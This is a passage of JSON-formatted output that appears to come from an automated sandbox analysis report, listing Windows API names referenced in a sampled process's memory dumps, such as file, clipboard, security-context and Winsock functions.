(Indicator: \"GetEnvironmentVariableW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetExitCodeProcess\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetFileAttributesA\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetFileAttributesExW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetFileAttributesW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetFileInformationByHandle\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetFileInformationByHandleEx\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetFileSize\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetFileType\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetFinalPathNameByHandleW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetFullPathNameA\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetFullPathNameW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetModuleFileNameW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetModuleHandleA\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetModuleHandleW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetNamedPipeInfo\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetNativeSystemInfo\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetOverlappedResult\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetProcAddress\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetProcessId\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetQueuedCompletionStatusEx\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetStdHandle\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetSystemDirectoryW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetSystemInfo\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetSystemTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetSystemTimePreciseAsFileTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetTempPathA\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetTempPathW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetTickCount\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetUserPreferredUILanguages\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetWindowsDirectoryW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GlobalAlloc\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GlobalFree\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GlobalLock\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GlobalSize\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GlobalUnlock\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"HeapCompact\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"HeapCreate\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"HeapDestroy\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"HeapReAlloc\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"HeapSize\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"HeapValidate\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"InitOnceBeginInitialize\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"InitOnceComplete\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"InitializeCriticalSection\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"InitializeProcThreadAttributeList\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"LeaveCriticalSection\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"LoadLibraryA\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"LoadLibraryExW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"LoadLibraryW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"LocalFree\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"LockFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"LockFileEx\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"MapViewOfFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"Module32FirstW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"Module32NextW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"MoveFileExW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"MultiByteToWideChar\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"OpenProcess\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"OutputDebugStringA\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"OutputDebugStringW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"PostQueuedCompletionStatus\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"Process32FirstW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"Process32NextW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"QueryPerformanceCounter\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"QueryPerformanceFrequency\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"ReadConsoleW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"ReadFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"ReadFileEx\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"RegisterWaitForSingleObject\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"RemoveDirectoryW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"RtlCaptureContext\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"RtlLookupFunctionEntry\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"RtlVirtualUnwind\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetConsoleCtrlHandler\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetCurrentDirectoryW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetEndOfFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetEnvironmentVariableW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetFileAttributesW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetFileCompletionNotificationModes\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetFileInformationByHandle\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetFilePointer\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetFilePointerEx\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetFileTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetHandleInformation\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetLastError\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetThreadStackGuarantee\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetWaitableTimer\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"Sleep\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SleepEx\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SwitchToThread\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SystemTimeToFileTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SystemTimeToTzSpecificLocalTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"TerminateProcess\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"TlsAlloc\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"TlsFree\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"TlsGetValue\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"TlsSetValue\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"TryEnterCriticalSection\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"TzSpecificLocalTimeToSystemTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"UnlockFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"UnlockFileEx\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"UnmapViewOfFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"UnregisterWaitEx\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"UpdateProcThreadAttribute\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"WaitForMultipleObjects\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"WaitForSingleObject\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"WaitForSingleObjectEx\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"WideCharToMultiByte\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"WriteConsoleW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"WriteFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"WriteFileEx\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"NCryptFreeObject\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"NtCreateFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"NtDeviceIoControlFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"NtOpenFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"NtOpenProcessToken\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"NtReadFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"NtWriteFile\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"RtlNtStatusToDosError\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CoCreateGuid\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"AcceptSecurityContext\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"AcquireCredentialsHandleA\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"ApplyControlToken\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"DecryptMessage\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"DeleteSecurityContext\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"EncryptMessage\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"FreeContextBuffer\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"FreeCredentialsHandle\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"InitializeSecurityContextW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"QueryContextAttributesW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"ShellExecuteW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CloseClipboard\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"CountClipboardFormats\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"EmptyClipboard\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetClipboardData\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"GetDC\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"OpenClipboard\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"ReleaseDC\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"SetClipboardData\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"WSACleanup\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"WSAGetLastError\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API (Indicator: \"WSAIoctl\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 